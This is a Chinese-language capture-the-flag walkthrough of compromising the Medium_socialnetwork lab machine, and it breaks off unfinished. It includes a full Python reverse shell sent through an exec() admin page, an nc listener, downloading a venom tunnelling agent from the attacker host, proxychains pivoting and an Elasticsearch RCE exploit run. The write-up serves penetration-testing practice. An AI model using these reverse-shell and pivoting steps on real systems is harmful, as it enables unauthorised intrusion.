靶机地址
Medium_socialnetwork
攻击手段
主机发现 端口扫描 服务发现 路径爬取 代码注入 Shell脚本 内网信息收集 内网穿透 漏洞利用 密码破解 本地提权 攻击代码修改
使用工具
nmap 主机发现 dirsearch 目录扫描 nc 端口侦听 venom 内网穿透 proxychains 代理 searchsploit exp查找
开始攻击
-
首先ifconfig 查看自己ip -
扫描网段,发现目标主机。nmap 10.155.211.0/24 。可看到开启了22,5000端口。 -
扫描端口,查看服务。nmap 10.155.211.171 -p22,5000 -sV 访问目标 -
只有一个输入框,测试xss 可以看到被编码了 -
换方向,尝试爆破路径。使用dirsearch -
访问http://192.168.168.12:5000/admin 可知所有代码将交给exec() 函数执行,且前期发现系统中存在python环境 可提交反弹shell
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("192.168.168.13",4444));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);
参考:反弹shell的几种方式总结 先不提交
- 在kali使用nc启动侦听。
nc -nvlp 4444 得到shell - 看到dockerfile文件,怀疑为docker容器。判断容器
使用ls /.dockerenv 查看是否存在dockerenv文件。 使用cat /proc/1/cgroup 查看
-
查看内网主机,用ping命令扫描内网其他主机 是16位网段,所以需要扫65535个ip。使用for i in $(seq 1 10); do ping -c 1 172.17.0.$i;done 命令。(尝试扫描c段for i in $(seq 1 255);for s in $(seq 1 255); do ping -c 1 172.17.$i.$s; done 但会报错)原因 for a in`seq $num` 可看到172.17.0.2;172.17.0.3回包了 -
直接访问是不同的,需要使用内网穿透。使用venom工具,建立隧道。 venom 下载解压后选择合适的客户端。这里我们选择agent_linux_x64 模块可看到有agent模块和admin模块 启用./admin_linux_x64 -lport 9999 侦听9999端口 然后将agent_linux_x64 传到目标机去。 我们使用python开启一个http服务。(注意要在所传文件的当前目录创建服务) 然后用目标机访问服务,并下载agent_linux_x64
wget http://192.168.168.13/agent_linux_x64
之后给与权限
chmod +x agent_linux_x64
建立隧道
./agent_linux_x64 -rhost 192.168.168.13 -rport 9999
- 使用venom。
用show 命令查看 goto 1 节点 使用socks 1080 ,侦听1080端口 这样在kali上就启动了一个侦听1080端口上的socks代理。 - 为了让kali的攻击工具就可以通过挂代理访问内网网段。使用
proxychain 。由第(9)步知内网中有172.17.0.2;172.17.0.3两台机器。 修改proxychain 的配置文件vi /etc/proxychains4.conf 在最后参照(11)修改代理类型为socks5 端口改为1080 - 对内网机器扫描。
proxychains nmap -Pn -sT 172.17.0.1 可看到开启了22,5000端口。使用proxychains nmap -p22,5000 -Pn -sT -sV 172.17.0.1 详细扫描 由此确定172.17.0.1是192.168.168.12的内网 ip。也可尝试使用浏览器访问(需配置代理) 之后可看到192.168.168.12:5000的网页与172.17.0.1:5000相同。
扫172.17.0.2 proxychains nmap -Pn -sT 172.17.0.2 ,发现开放了9200端口 扫服务proxychains nmap -p9200 -Pn -sT -sV 172.17.0.2 发现是Elasticsearch应用
-
搜索漏洞。使用searchsploit Elasticsearch 搜索漏洞exp 第一第二个为rce利用脚本可以挨个尝试。 -
使用exp。proxychains python2 36337.py 172.17.0.2 getshell了。 但发现无法运行是因为Elasticsearch中需要先有数据才能被攻击。 https://github.com/YrenWu/Elhackstic proxychains curl -XPOST ' http://172.17.0.2:9200/twitter/user/yren ' -d ' { "name" : "deng" } ' 在执行exp不报错。 -
执行ls命令,发现有一个有趣的东西,密码文件。解密后发现使用john账户可登录
在第15步时,我提交了数据仍然报错,暂时不做了。后续做了在更。
|